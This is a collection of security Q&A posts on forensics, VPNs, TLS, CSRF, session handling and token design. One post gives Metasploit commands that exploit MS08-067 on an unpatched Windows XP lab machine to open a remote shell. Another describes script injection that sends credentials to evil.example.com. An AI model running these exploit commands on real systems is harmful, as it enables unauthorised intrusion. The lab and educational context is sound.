What if the forensic scientist is just given a photo (not an image) with no metadata? Is it forensically possible to chart where that photo was taken, provided that there's no revealing information in the picture; e.g., street signs, unique buildings, etc.?

Try to correlate the photo’s time with other artifacts recovered from the device. Those other artifacts might provide evidence of location.

Consider network logs. If the phone was connected to a free WiFi access point at a restaurant two minutes before the photo was taken, and remained connected afterwards, the photo was probably taken within a few dozen meters of the restaurant.

Check the browser history. Some sites ask for location data; if they were connected to a site that had permission, it could still be present.

Check for other apps that use location data, such as IFTTT or a home automation app. They may have a ‘geofence’ feature and it may keep a log of where the device has been. Or they may have a navigation app that tracked where they were.

Were other photos taken near the same time? If they have their EXIF data still intact, you can show that the phone couldn’t have gotten very far between pictures.

Also consider what’s in the picture. The background can easily give away the location. See this article for info about such efforts on a large scale.

Cell records can also place the phone in a geographic area, but the phone may not store that detail, and you’ll need a warrant to get the records from the wireless carrier.

If you find one bit of evidence, don’t stop looking. You will need more than one data point to convince people.


How does VPN software work? I have seen cases where people install a VPN app on their phones to circumvent governments which bar access to certain websites (I have heard China is an example of this).

I am curious how these apps work without requiring the user to do any serious configurations. If we have two segments of the communication as follows:

(1) SENDER (having VPN app) --> (2) SERVER (whose address is by default configured in VPN app) -->(3) RECEIVER (the server which the government is censuring).

Question #1: Is it correct to say that only the segment (1)-->(2) is encrypted? If this is correct, then this would mean the app protects against censorship by the government, but does not guarantee total confidentiality since the data goes encrypted in the last part of the transaction (i.e., (2)-->(3)).

Question #2: At what layer of the network stack is encryption done? Is it at IP? If yes, this would mean some changes to the O/S configurations. Ideas on what these are?

1) Depends.
The VPN itself indeed only encrypts from 1 to 2, however,
if 3 (The website you're visiting) supports TLS/HTTPS, 2 -> 3 is also encrypted and secured, only not by the VPN.

E.g:

  1 = user 2 = vpn 3 = web-server Without TLS: 1
  ---[VPNencryption(plain_text)] -----> 2 ---[plain_text] ----> 3 With TLS: 1 ---[VPNencryption(tls((plain_text))] -----> 2
  ---[tls(plain_text)] ----> 3

2) VPNs mostly make use of tunneling protocols. One of their features is that they can e.g encrypt data, or use a specific protocol that the underlying or standard network does not necessarily support. So you don't always need to edit network-configurations or anything similar.
And it's mostly the Link Layer.


JavaScript Injection using Man in the Middle Attack Suppose I am connected to a wifi-hotspot hosted by a malicious attacker. Further, suppose that I am accessing a login page of an fictitious email site tmail.com over insecure HTTP connection.

My question is how can the attacker who owns the WiFi-hotspot steal my password by injecting the malicious JavaScript code without leaving any trace? Will URL still remain the tmail.com when I am accessing this or will it change? Where (application layer/network layer) and how (download the web page or modify network layer data) exactly the attacker will make the changes to succeed?

I am asking this question purely for educational purpose. I am just curious and have no intent to harm anyone.

The ISP (here, the WiFi hotspot) is what delivers pages to you. It's of course trivial for an ISP to read unsecured traffic:

Let's now consider a case where the credential submission is secured with HTTPS (so the ISP cannot sniff them right off the wire), but the HTTPS log-in page loads an unsecured script, helper.js. The ISP can inject any behavior into that non-HTTPS script before it finally serves the script to the browser. For example, the ISP can inject the instructions, "When this page submits credentials, send a copy of them to evil.example.com." The diagram below shows secured requests and responses in green and insecure requests/responses in other colors:

When your browser requests helper.js over HTTP, the malicious ISP responds with a resource that has the wrong content. Your browser has no idea what helper.js should look like, and without any integrity validation measure (like HTTPS), the browser has no idea anything is wrong. Your browser assumes it has correctly been served http://tmail.com/helper.js, because that's what it asked for and the ISP sent back a response without any complaint (e.g., the response was an HTTP 200 for /helper.js). The fact that what your browser got is different from what the real server sent is totally irrelevant, because your browser has no way to detect that this difference occurred.

Based on your comments, you seem to think that modifying a resource can only be done by redirecting the browser to another resource. This is incorrect. Consider Bob the browser, Iggy the ISP, and two servers, Alice and Mallory.

First, consider the honest case:

Bob wants to know Alice's favorite food.

Bob says to Iggy, "Hey, Iggy, please send a GET /favoritefood to alice.com."
Iggy asks Alice about her favorite food. Alice tells him, "Pizza, but with no onions, because I hate onions."
Iggy comes back to Bob and says "Hey, I have that response for your GET /favoritefood from alice.com! She says she loves pizza, but not onions."

Now let's consider a dishonest case:

Bob wants to know Alice's favorite food.

Bob says to Iggy, "Hey, Iggy, please send a GET /favoritefood to alice.com."
Iggy comes back to Bob and says, "301 Moved Permanently -- ask Mallory about Alice's favorite food instead"
Bob then sends Iggy to GET /favoritefood from mallory.com instead. It's a different resource, and Bob knows it's a different resource from the one he originally asked for.

In this case, the browser's address bar would be different from what you originally typed in: mallory.com/favoritefood instead of alice.com/favoritefood.

Now consider this case instead:

Bob wants to know Alice's favorite food.

Bob says to Iggy, "Hey, Iggy, please send a GET /favoritefood to alice.com."
Iggy asks Alice about her favorite food. Alice tells him, "Pizza, but with no onions, because I hate onions."
Iggy comes back to Bob and says "Hey, I have that response for your GET /favoritefood from alice.com! She says she loves to eat lots and lots of onions."

There's no other resources involved. http://alice.com/favoritefood is the only resource being fetched here; Iggy simply lied about what the contents of the resource were. There is no way for Bob to detect that Iggy is lying, because there is no integrity-validating system in place.

One final attempt at explanation: suppose the ISP is honest but mistakenly flipped a single bit when delivering the contents of the HTML file. Surely you would not expect such a mistake to cause the web page to load under a different domain. Now suppose that the honest ISP mistakenly flipped two bits instead of just one: again, such a mistake would never cause the domain or resource path to change. Now suppose the ISP flipped two thousand bits by honest mistake (perhaps the ISP has a faulty switch some place, or the WiFi router was hit by cosmic rays): again, no need for the domain to change. Now suppose the change was done maliciously instead of by mistake: again, the change in intent causes no change in what is actually happening. The resource path and origin, as identified in the browser's address bar, remains unchanged, while the ISP is free to change the contents of the resource (honestly or dishonestly) without detection.


Securely share audio files I work for an insurance broker that sometimes has to share our customer calls with the insurance company we are underwriting for.

Generally this means retrieving the call from our call recording system and send this encrypted on a CD, recorded delivery to the insurance company for them to listen to.

Is there an easier and secure solution that I can share the audio file with them via a webpage where they can stream the audio and then I can remove the audio file once this has been played?

I need the highest level of security on this as I am sharing customer information.

Streaming over a webpage might not be a good solution. Because a web page can be accessed by multiple users at same time and if you are streaming data over it, There are chances that anyone can get access to it.

In my view a simple web solution could be using SFTP to transfer your files. But that again at the same time did not solve your problem to remove the audio file once this has been played. Because the other user will have a copy on there machine after file transfer.

But if that's not compulsory SFTP would help you.


What's a "safe" URL shortening algorithm? The situation: Currently, we are sending out emails and SMS to our users, which include a link to a form that each user has to fill out on a regular basis (an "eDiary"). As we need to be able to authenticate and authorize the user accordingly, we currently attach a jwt token as a query parameter to the link as we want to make it as easy as possible for the users, as not many of them are very tech-savvy.
The problem with this is, that the links tend to be very long because of this, which makes it very expensive, as we're sending out about five SMSes, out of which four are just for the link.
Therefore we are currently looking for a way to shorten the links in a safe way. As the data that is being entered is very sensitive, the link should still be secure enough, so it can not be guessed in a "short" amount of time. The links are usually valid for one or two days, as we can not "force" the user to enter the data in a shorter amount of time.
Therefore I am very likely looking for a hashing algorithm of sorts, that could be used in this scenario, where the structure of the links is well known. We'll of course also limit the amount of retries a user could do, before being temporarily blocked by the system, but in case we'll have to serve millions of links, the chances will grow of guessing one at random.
The question: What would be a good compromise between shortening the URL as much as possible, but still keeping the link safe enough so "guessing" a specific link is unlikely for specific users as well as for all users (birthday attack)?

Entropy is your friend.  Using only alphanumeric characters (special characters are best avoided in this case because they often need URL encoding, which complicates things) you have a "language" of 62 possible characters to choose from.  For a string of length X made from this "language", the total number of possible strings is simply:
62**X

If you start blocking an IP address after Y failed attempts then the odds that an attacker with a single IP address will guess a code are:
Y/(62**X)

But imagine an attacker can easily switch IP addresses, so let's imagine they have a million IP addresses at their disposal (note: the number will be much larger if you support IPV6).  Therefore their odds of success are simply:
(1e6*Y)/(62**X)

Finally note (h/t @Falco) that the above assumes the attacker is looking for a particular code.  If you are worried about someone finding any code then you need to further multiply by the number of active codes you have at a given time, which depends on how often they are created and how quickly they expire.
Given all of this though, you just have to decide how low you want the probability to be, plug in your Y, and solve for X.  As a simple starting point I usually suggest a 32 character alphanumeric string (make sure and use a proper CSPRNG).  If you block an IP after 1000 failed attempts then an attackers odds of finding a specific code are:
(1e6*1000)/(62**32)

Which is 4.400134339715791e-49.  Given those odds, it's more likely that the attacker will win the lottery 4 or 5 times in a row before they guess a code.  You could have billions of active codes at a time and the odds of guessing any one would still effectively be zero.


Safety of barcode checksums A company is handing out gift vouchers with a unique code128 barcode. The barcode consist of 12 fixed characters containing meta information and sequence number plus a 4 digit checksum. For example:

B2DS 40453072 6531

first 4 characters: identifier of the company who will receive the vouchers
next 8 characters: sequential id (ranging from 00000001 to 99999999)
last 4 characters: checksum on the previous 12 characters

I wonder if this scheme can be hacked if a certain person receives X vouchers, typically sequential ones. It is obvious in this case to find the meaning of the first 12 characters, how hard is it to deduce to logic used to calculate the checksum?

The code128 checksum is not cryptographically secure.
I think you are misunderstanding the purpose of a checksum. A checksum is designed to make it possible to detect accidental corruption or mistakes in reading data. The data is converted into a checksum, and compared with the expected checksum. If the two differ, you know that there was an error in reading the data. The intention is to reduce the chance that an accidental mistake in reading results in the same checksum. The checksum algorithm itself is public and is easy to calculate, such as with the following function, where code128_table is a specific index table (Code A, B, or C):
uint8_t code128_checksum(uint8_t *buf, uint32_t len)
{
    uint32_t sum = *buf - 32;

    while (--len)
        sum += len * code128_table[*(buf + len)];

    return sum % 103 + 32;
}

This checksum is extremely simple, designed only to make detection of errors during the scanning process possible. It is a "true" sum, meaning that it is nothing more than the summation of the representations of each component character multiplied by a weight factor. Thus the sum is literally just that, a sum of the data it is protecting. It is not designed to provide any sort of cryptographic properties to the barcode. The way it is designed, all the following are trivially possible, in order of increasing computational complexity:

Hashing - Given an un-checksummed barcode, calculate the checksum.
Collision - Create two barcodes with different contents but an identical checksum.
Second preimage - Given a checksummed barcode, create another with the same checksum.
First preimage - Given only a checksum, create a barcode with the same checksum.

The only thing which it is (modestly) good at is ensuring that a random change to the barcode will not result in an identical checksum. Even for that, it's not particularly good. A superior (albeit still not cryptographically secure) checksum of the same digest size would be CRC8, as a CRC is superior to a regular checksum for the purpose of error detection. A simple implementation of an 8-bit CRC (where crc8_table is a carefully selected 8-bit CRC polynomial) would look like this:
uint8_t crc8(uint8_t *buf, uint32_t len)
{
    uint8_t crc = ~0;

    while (len--)
        crc = crc8_table[crc ^ *buf++];

    return crc;
}

Regardless of whether you use a simple checksum, CRC, or a significantly more complex and slower cryptographically secure hash function, if the keyspace is merely 8 decimal characters and all 8 characters from the sequential ID are valid for the company ID B2DS, you could, quite trivially, create all 99,999,998 possible barcodes, with matching associated checksums. A completely unoptimized implementation took 19 seconds on my own computer. The keyspace is just too small, even with a cryptographically secure hash.
As @Philipp mentioned in a comment, a better solution would be to hand out barcodes with a random ID. Allow each ID to be used a limited number of times, and monitor for attempts to use a barcode with an ID which has not been explicitly issued. If that is done, then even if there are a thousand valid barcodes at any given time, a random barcode would have only a one in ten thousand chance of being valid, making it far harder to use the codes fraudulently.


Are viewable permissions an issue? Is it, generally, considered to be a security issue if a user in 3-tier application has read-only access to other users' permissions? I.e. Alice can see that Bob has or has not access to some resource.

Potentially, sure.

If permissions are viewable, that gives an attacker a list of valid usernames and tells the attacker which accounts are the best candidates to attack.  An attacker is much more likely to want to break in to the jdoe account in the HR system if they know, for example, that jdoe has the ability to see everyone's salary.

Making permissions viewable also makes it much more likely that other security shortcomings are going to be exploited.  If someone forgot to remove the jdoe account when he was fired, for example, or if someone inadvertently assigned privileges to jdoe rather than janedoe, viewable privileges lets the attacker see immediately where the weak points are and figure out how to craft an attack to stop it.

Of course, the attacker still has to craft an appropriate attack-- whether technical or social-- to exploit the information they get from being able to view other users' privileges.  It just makes it quicker, easier, and safer to mount the attack if you know where the pressure points are.


How to protect against login CSRF? http://seclab.stanford.edu/websec/csrf/csrf.pdf points out that most CSRF protection mechanisms fail to protect login forms. As https://stackoverflow.com/a/15350123/14731 explains:

  The vulnerability plays out like this:

  The attacker creates a host account on the trusted domain
  The attacker forges a login request in the victim's browser with this host account's credentials
  The attacker tricks the victim into using the trusted site, where they may not notice they are logged in via the host account
  The attacker now has access to any data or metadata the victim "created" (intentionally or unintentionally) while their browser was logged in with the host account

This attack has been successfully employed against Youtube.

The authors of the paper went on to propose the addition of an "Origin" header but ran into resistance by W3C members: http://lists.w3.org/Archives/Public/public-web-security/2009Dec/0035.html

To date, only Chrome and Safari implements the "Origin" header. IE and Firefox do not and it's not clear whether they ever will.

With that in mind: what is the best way to protect against CSRF attacks on login forms?

UPDATE: I am looking for a RESTful solution, so ideally I want to avoid storing server-side state per user. This is especially true for non-authenticated users. If it's impossible then obviously I will give up on this requirement.

With anonymous cookies

If you are happy to generate secure tokens which are set as anonymous users' cookies, but not to store them server side then you could simply double submit cookies.

e.g. Legitimate user:

Anon user navigates to the login page, receives cookie which is sent to the browser.
Anon user logs in and the browser sends the cookie as a header and as a hidden form value.
User now logged in.

This cannot be abused by the attacker as the following will now happen:

The attacker creates a host account on the trusted domain
The attacker forges a login request in the victim's browser with this host account's credentials However, the attacker does not have access to the victim's cookie value and cannot forge it as the CSRF token in the request body. The attack fails.

Even if your site is only accessible over HTTPS and you correctly set the Secure Flag, care must be taken with this approach as an attacker could potentially MiTM any connection from the victim to any HTTP website (if the attacker is suitably placed of course), redirect them to your domain over HTTP, which is also MiTM'd and then set the required cookie value. This would be a Session Fixation attack. To guard against this you could output the cookie value to the header and the hidden form field every time this (login) page is loaded (over HTTPS) rather than reuse any already set cookie value.  This is because although a browser can set the Secure Flag, it will still send cookies without the Secure Flag over a HTTPS connection, and the server will not be able to tell whether the Secure Flag was set. (Cookie attributes such as the Secure Flag are only visible when the cookie is set, not when it is read. The only thing the server gets to see is the cookie name and value.) Implementing HSTS would be a good option for protection in supported browsers.

It is advisable to set X-Frame-Options to prevent a UI redress click jacking attack (otherwise the attacker could possibly use site functionality to pre fill their username and password awaiting the user to click and submit them along with the CSRF value).

Without anonymous cookies

If you do not want to set cookies for anonymous users (which then may suspect that they are being tracked server side) then the following approach may be used instead: A multi-stage login form.

The first stage is the usual username / password combination.

After the form is submitted, it redirects to another form. This form is protected by a special intermediary authentication token cookie and a CSRF token. The authentication here will only allow the second stage authentication to be submitted, but will not allow any other actions on the account (except possibly a full logout). This will enable the CSRF token to be associated and used by this user account only on this intermediary  session.

Now it is only when this form is submitted, including the token cookie and CSRF hidden form value that the user is fully authenticated with the domain. Any attacker attempting a CSRF attack will not be able to retrieve the CSRF token and their full login attempt will fail.

The only drawback is that the user will have to manually click to complete login, which may be a clunky user experience. It is advisable to set X-Frame-Options to prevent this being used in combination with a UI redress click jacking attack. Any auto submission with JavaScript would be beneficial to the attacker and would cause their attack to possibly succeed, so at the moment I can only see a manual click by the user working.

It would now play out like this:

The attacker creates a host account on the trusted domain
The attacker forges a login request in the victim's browser with this host account's credentials but they cannot proceed past stage two to become fully authenticated
The attacker tricks the victim into using the trusted site - but as they are not fully authenticated, the site will act as though the user is unauthenticated


Meaning of TLS session timeout In openssl, the default session timeout is set to 300 sec.

But, what does this actually means?
What happens if you do a session resumption, before the 300 secs are over?
Is this session timer reset again to 300 secs?
[For me, this would be strange because you could go on forever]

Or, is this 300 secs a hard timeout for the session?

To cite from SSL_get_default_timeout:

  Whenever a new session is negotiated, it is assigned a timeout value, after which it will not be accepted for session reuse.

In other words:

The timeout gets assigned when the session gets created, not when the session gets used. This means the timeout will not be reset ever.
After the timeout the session will no longer be accepted for reuse. Note that this does not mean that a current session will be shutdown, only that a new handshake with this session will not result in a session reuse.


How can I protect myself against software installing insecure root certificates? With the recent news that Dell installed a root certificate with a publicly accessible private key on their notebooks, I'm wondering how I can protect myself against this kind of incompetence. Of course I can't fully protect myself against actually malicious attacks by the vendor if I execute their binaries, but I would like to be notified if any program installs a root certificate that compromises my security.

Doing a clean Windows installation is something I do anyway, but as far as I know this wouldn't help in this case as the certificate was added by Dell software. And I probably need to install at least some Dell software for the drivers. I'd also like to prevent certificates from other sources to be installed without my knowledge.

Is there an easy way to verify if any root certificates are installed that aren't the default ones that come with Windows?

There isn't a completely sure way.

The best option I can think of is to check the certificate store before and after running software installs.  If a new root CA is installed, consider your computer compromised, publicly post about the issue, and reformat.

There is inherently a lot of trust involved in installing software as the installer is given fairly broad rights on your system.  Post-install app usage is not such a concern unless the app systemically uses UAC elevation to gain superuser privileges.

This is a very old problem.  Ken Thompson's Turing Award Lecture Reflections on Trusting Trust was back in the ever appropriate year of 1984.


What information can the ISP see when BitTorrent is in encrypted mode? What kind of information can the ISP see when a BitTorrent data packet is passing through their network if BitTorrent is in encrypted mode?

According to the inventor:

  The so-called ‘encryption’ of BitTorrent traffic isn’t really encryption, it’s obfuscation. It provides no anonymity whatsoever, and only temporarily evades traffic shaping.

And:

  As I’ve said before, protocol encryption is at best a temporary hack around ISP rate limiting, until identification techniques are put in place which use transfer patterns rather than packet inspection to identify traffic.

In this research paper, they

  show
  how even obfuscated application layer protocols, such as BitTorrent’s MSE protocol and Skype, can
  be identified by fingerprinting statistically measurable properties of TCP and UDP sessions.


Checking TLS peer public key instead of default verify procedure My server software is using TLS with self-signed ED25519 (for small size) certificate.
My client software is accessing said server. Considering I don't care about DNS/IP names, is it secure to disable standard TLS verification and compare peer public key against pre-shared in config? In pseudo-code:

tls_connect/listen(verify=false)
tls_handshake()

# does it provide same guarantees as self-signed CA deployed to both peers?
assert(peer.public_key == config.peer_public_key)

application_data_exchange()

Context:

goal is hidden and authenticated small binary message transport with lowest sensible network overhead; I don't have to use TLS
most common message size 50-200 bytes
code is open source (Eve can easily look it up)
I control both client and server software and configuration, deploying pre-shared keys is not an issue
but updating configuration often enough to replace ephemeral keys is not possible
both sides use TLS1.3

Overall I considered using:

custom implementation of length-prefixed frames with AES-GCM payload and ED25519 signature; it's very attractive on small network overhead but I could make silly mistakes in using crypto algorithms
standard TLS library is the opposite: very trusted but considerable network overhead. Unfortunately available TLS implementation firmly sticks to concept of certificates.
NaCl secretbox frames. Unsure about ephemeral keys and proper way to avoid sending nonces on network.

Considering I don't care about DNS/IP names, is it secure to disable standard TLS verification and compare peer public key against pre-shared in config?

Ensuring that the key of the received certificate matches the expected key before any application data are exchanged is enough to provide the necessary authentication of the peer, i.e. all the other certificate validations regarding expiration, match of subject ... could be skipped. The way TLS works it will still ensure that only the owner of the matching private key can actually use the certificate with a specific public key.

Of course if an attacker gets access to the private key they could fake the server. Relying only on a fixed certificate also means that easy revocation and replacement of the certificate will not work, i.e. one would need to roll out a new version of the application instead with the new expected key.


Use Metasploit to exploit SMB through Conficker I've got an SP0/unpatched Windows XP which is vulnerable to the Conficker worm.
I'm using metasploit to use the Conficker exploit with the purpose of opening a remote shell/command line.

My Metasploit script is the following one:

use exploit/windows/smb/ms08_067_netapi
set RHOST <vulnerable_win_xp_ip>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacking_kali_host_ip>
set LPORT <local_port>
exploit -j -z

In my case, I have machines with address in 192.168.239.* and LPORT = 443.

In this way, I should be able to open a session with the remote vulnerable machine (sessions -i 1), thus executing the command line application (execute -i -f cmd.exe) and obtaining a remote command line.

Nevertheless, when I execute the script, although I get Meterpreter opening a session with the victim, this session is closed (Reason: Died) after a few seconds.

I've found that it could be related to the fact I'm using two VMWare Virtual Machines during my test.
As suggested, I tried with set InitialAutoRunScript migrate -f, but nothing changes.

How can I prevent Meterpreter sessions to be closed?
And, most importantly, why are they closed?

I've solved by varying the payload used by Metasploit.
In particular, using bind_tcp payload Meterpreter connections are not closed anymore after a few seconds, and I obtain a remote shell/command line.

use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/bind_tcp
set RHOST <vulnerable_win_xp_ip>
show targets
set TARGET <n>
run

In my case <n> = 2, but in general it depends from previous step.


Why does Google.com still support SSL v3? The POODLE vulnerability was discovered by Google in October 2014, and unlike heartbleed, it had a simple solution: just disable SSL v3. Now, most of the websites have disabled SSL v3 but ironically it is Google that still supports it. Any idea as to why Google still supports SSL v3?

I tested the domain name in a POODLE tester website and it shows Google to be still vulnerable to it. Any ideas guys?

Google promotes and, supposedly, implements TLS Fallback SCSV, by which client and server make sure that if they both support TLS 1.0 or later, they will not use SSL 3.0; with that extension active, an attacker cannot (as far as we know) force a protocol downgrade.

Under these conditions, if SSL 3.0 is used when accessing Google's server, then this will be only if the client really cannot do any better, and, arguably, a poodleable SSL 3.0, though weak, is still much better than no SSL at all.

Of course, one may argue that rejecting clients that know only SSL 3.0 could force these clients to finally upgrade their browsers, and that would make for an altogether better world. But this may also irate the owners of the said out-of-date browsers, and making clients angry is, on a general basis, a poor business practice.


Does the SSL record protocol encrypt the handshake protocol too? As I know the first communication protocol which establishes between client and server in SSL is handshaking protocol and as this site says:

  The SSL record protocol is used to transfer any data within a session - both messages and other SSL protocols (for example the handshake protocol)...

My question is how does record protocol encrypts data between client and server before even their first communication protocol(before handshaking protocol)

for example, What keys does record protocol uses for encryption and how does it share this key with the client?

From RFC 8446, Section 5 (TLS 1.3, Record Protocol):

  The TLS record protocol takes messages to be transmitted, fragments
  the data into manageable blocks, protects the records, and transmits
  the result.  Received data is verified, decrypted, reassembled, and
  then delivered to higher-level clients.

The cipher for encrypting fragments at the Record layer can change over time. Initially a null cipher will be in use since no keys have been established. This effectively means that no encryption is applied, the "ciphertext" is the same as the original fragment.

The Handshake Protocol (carried over the Record Layer) initially starts using this null cipher. After the client and server share security parameters (using Client Hello and Server Hello handshake messages), they can start performing a key exchange to establish a shared secret. Following this, they will be able to switch the Record Layer to a more secure cipher based on the shared secret. In TLS 1.2 and earlier, this switch is initiated using the Change Cipher Spec message.

SSL/TLS has a bit of a history, and there are two types of key exchanges based on asymmetric cryptography. One is based on RSA encryption, another is based on Diffie-Hellman (DH). In TLS 1.3, only the DH key exchange mechanism remains.

With the RSA key exchange, the client generates a random premaster secret, encrypts it using the RSA public key from the certificate provided by the server, and sends the result to the server. The server will be able to decrypt the result using the corresponding private RSA key and therefore obtains the same premaster secret.

In case of a Diffie-Hellman key exchange, both parties generate a new key pair (a private key and a corresponding public key) and share the public key with each other. By combining their own private key and the peer's public key in a special way, they will obtain the same shared secret.

In either case, a shared secret is obtained which is transformed into a symmetric key. This key will be used for encrypting fragments at the Record Layer.

For a more extended treatment of TLS, see How does SSL/TLS work?


Presence of table "sqlmapoutput" in PostgreSQL database I was pentesting a client's database and saw this one table "sqlmapoutput" in one of the user created schemas. It's a PostgreSQL DBMS. and he has no idea how it came there. There was no data in the table:

Table: sqlmapoutput
[0 entries]
+------+
| data |
+------+
+------+

On checking I found that there was a boolean-based blind sqli in his site.
So if his site was breached why will someone leave this table there?
Is there any reason for something like sqlmap to create something like this?

PS: No need to explain other issues, and just focus on the presence of this table plz.

This is the result of someone running sqlmap on the database. (Specifically here) Either this is

An honest pentester:

In this case, delete the table and fix whatever vulnerability they discovered.
Some other actor:

Consider all data comprimised. Search for whatever hole caused this and fix it, and if you have users force them all to reset their passwords.


Can Someone Fake A PHP Session Variable I have a site where a user can create an account and log in. When the user logs in, after I validate the user's password and username, I give them a PHP session variable containing their username. That is how they access features on my site such as creating a blog post and changing their user bio.

Can someone wanting to get on my site through another person's account fake a session variable containing the username of the user? If so, how can they do this? And are there any ways to prevent this?

No.
Session data is stored on the server.

The session ID is the only thing transferred back and forward between the client and the server. Therefore, unless the server is hacked or has a server-side bug, the client cannot change the session data directly. In your case, the username in the session variable seems to be part of the session ID or it's replacement (this is a little unclear).

That does not mean that the system does not have to ensure that only the valid client knows the session ID, because that's what links the client to the specific session. That is why the session_regenerate_id() function must be used every time a login attempt is performed. This prevents session fixation.


how secure is an iPhone 4S+ with iOS 6+ in 2013? I was searching for the current status of iPhone security: there are many discussions on the subject but a lot of them are mostly hand-waving or related to old bugs/iOS weaknesses.

How secure an iPhone (4S+, iOS6+, 4 digits PIN, wipe after 10 unsuccessful attempts) is against dedicated attacks on data at rest (typical scenario: someone steals the phone and wants to access data within (emails, contacts, ...)). The phone is assumed to be patched with the current iOS -- I am looking for flaws more than bugs (which are likely to be fixed).

I want to put aside James Bond like scenarios and government-enabled spying (PRISM and similar), rather concentrating on enterprise espionnage (= reasonable money available to break a stolen iPhone). The closest I have come to so far is via the DFU (but I do not know if this is still current).

AFAIK there is no DFU mode bug publicly available for anything later than the iPhone 4 or iPad 1.

In terms of typical lost device scenario, assuming that the attacker can't guess the passcode before the device wipes (so set a relatively strong passcode an enforce device wipe on 10-20 incorrect attempts), I'd say that the device should be relatively secure.

There are lockscreen bypass bugs in current versions which could disclose some information from the device and also allow attackers to do things like make calls from it, and in iOS 6.x there was the malicious charger issue, but in general there are no deep flaws that I'm aware of which would compromise the security of the device if it's correctly configured and the attacker can't get access to it when it's unlocked.


Rationale for "install software on computer" functionality in browsers So after someone mentioned Hangul on another SE site, I just felt like watching another few Korean lessons. Came across a video that I liked, and the author finished with the (usual) more-on-my-website closing. Although the domain name looked a bit funny (koreangirlinsg.com), I figured why not, could as well look. Worst thing to happen is it's a date site (which I kinda half-assumed from the name). But maybe that woman is just bad at choosing domain names.

Turns out it's one of those entirely blank portal sites that display "click to proceed" as the first thing. Well, OK, whatever. I feel some disappointment coming up, but let's not just abandon all hope. Click.

tl;dr
Next, Firefox pops up a notification saying "Firefox stopped this site from installing software on your computer, do you want to proceed? Yes, no."

Wait a moment. Now, this is a surprise.

Basically every setting that I know about which allows something or does something extra, not just in the browser but on the computer is set to "No". Components that I'm not using (which is about 50% of Windows) were removed from the install medium with NtLite prior to setup.
My browser has scripting blocked at all times, with the exception of 2-3 whitelisted sites, also I have everything that counts as "extra smart shit" which isn't absolutely necessary for displaying a website turned off. Anything I don't know, turned off. Anything I do know but don't absolutely need, turned off. Adblocker including all available ad, badware, social, and annoyance filters running, not making an exception for anyone. No Flash plugin or the like installed (even the browser-supplied H264 codec is disabled because I'm not sure why I'd need it).

So the apparently naive assumption is that the browser shouldn't generally do much but display HTML (with broken layouts, which I'm willing to accept) and load some images.

Nevertheless, it is apparently still very straightforward for a random, untrusted site to install software. And most notably, not via an exploit, but via a method that Firefox obviously deems a very acceptable, viable option (it proudly tells you it didn't just do it yet, but still asks whether you want to proceed). Makes you somehow think of Internet Explorer 20 years ago.

Apparently, there is an explicit "install haphazard software on computer" functionality built directly into HTML that I'm not aware of, and browsers support it?

What would be the rationale for such feature?
[And maybe more importantly, how do you turn this off for good?]

I suspect that what you describe is a feature Firefox implements for the HTTP protocol. Whenever a browser downloads a file from a HTTP(S) server, its reply does not contain only the requested file. The reply is augmented by a few "HTTP headers" that provide details about the file. One of the most important headers is called "Content-Type".

The easiest view to display this information is the built-in http monitor feature of Firefox
Menu -> Tools -> Web developper -> Network -> Content-Type will be listed as column "Type".

When the server replies with "Content-Type: application/x-xpinstall", a  similar mesage appears:
"sourceforge.net Firefox prevented this server from asking to install software into your computer"
Those who do not fear javascript can see it for themselves for example here

This behaviour is different, when you visit the offending URL directly. In that case the message is roughly:
"Application Firefox prevented this server from installing an unsigned addon. Find out more"
Example of this behaviour is this URL, which is the actual x-xpinstall URL from the example above.

The behaviour is also different if the downloaded file is properly signed.

Note that the last example had no JS/CSS/HTML. The only role HTML plays in the story is, that it triggered a download (a normal thing), which just happened to be Content-Type: application/x-xpinstall. This feature can only install potentially unsigned Firefox addons (.xpi), which is bad enough.

This MozillaKB article describes how to disable xpinstall:


Changing IP ID generation of a server I've seen plenty about Idle Scans and incremental IP IDs on the net, but I have trouble finding a "solution" to the problem. Is there a way to "set" IP IDs for example to all zeros or is it coded into the kernel?

Concrete example: Host has random ip ids, but with a quite low entropy (<5 bit).

In case that you can change it - how does it work under Linux and how does it work under windows?

I just finished reading a section on idle scanning in a textbook less than an hour ago. Here's what it says:

  Newer operating systems, such as the recent Linux kernel, OpenBSD, and Windows Vista, randomize the IP ID, but older operating systems and hardware (such as printers) typically do not.

So I think if your machine is running under Vista or 7 (or even 8?), you don't need to worry much about being used as the idle host.


Accidentally Shared my Private Key - How to Remedy? I accidentally shared my SSH private and public keys with others. I changed keys within 2 minutes of sharing the private key. I've since added a password to access my private key as well as deleted the old private key and created a new one with ssh-keygen. I don't feel this is enough though.

Since I expose ssh to the Internet, but the user does not have root privileges, should I also format my hard drive and reinstall the operating system, and perhaps obtain new ISP/router/modem??

Simple solution would be to discontinue the use of the existing key pair, generate a new Public / Private key pair and deploy them in place of the old ones.


how to implement TLS between web-server and embedded devices I am working on remote light control system. The devices/controllers are like raspberry pi sized units running embedded programs to accept commands from a management application running on remote web-server. The devices are deployed in the field (street) and connected to internet via  GPRS & Ethernet.

There are hundreds of such devices not having host-name and their IP is not static. So SSL certificates may not be possible here???.

Does the "shared secrete" approach works best here? but then distributing these keys to already existing devices would be challenging as it cannot be done over insecure OTA.

The design requirements of your system are not fully clear to me. But I will assume in the following that you have full control over the setup and that this setup has only the following requirements:

secure connection between devices and central management server
central management must be able to send commands to devices at any time
IP address for the devices are dynamic and not known to the management server up front, i.e. the device must somehow announce itself to the server initially.

There are several options to implement this, like

Create a VPN between the devices and the management system. This can be done for example with IPSec or OpenVPN and with some variations with SSH too. Within this VPN the devices can have a fixed private IP address thus addressing a device from the server is no problem. And TLS is not needed since the VPN already protects the connections against attackers outside the VPN.
Create a TLS connection from the device to the management system which requires only a certificate on the side of the management system. This TLS connection can then be used with a custom protocol to communicate between server and client. Depending on the setup and restrictions because of firewalls it might be useful to not create a simple TLS connection directly on top of TCP but use secure WebSockets for the bidirectional connection. Still, only a certificate on the server side is needed which is trusted by the client.

These setups are similar in that the secure connection (i.e. VPN tunnel or TLS) is initiated from the client, since the client IP address is dynamic and the management system has a static IP or at least a static hostname. It might be useful to add some authentication of the client to this because you don't want that some attacker connects to your management system.

One way would be to create your own PKI with your own CA and issue a unique certificate for each device. The subject of this certificate can be some device-id which you can use to identify the device. These client side certificates could be used for authentication in the VPN or as client certificates in the TLS connection. And, if a certificate got compromised (i.e. someone hacked the device) you can simply centrally block access with this certificate in your management system.


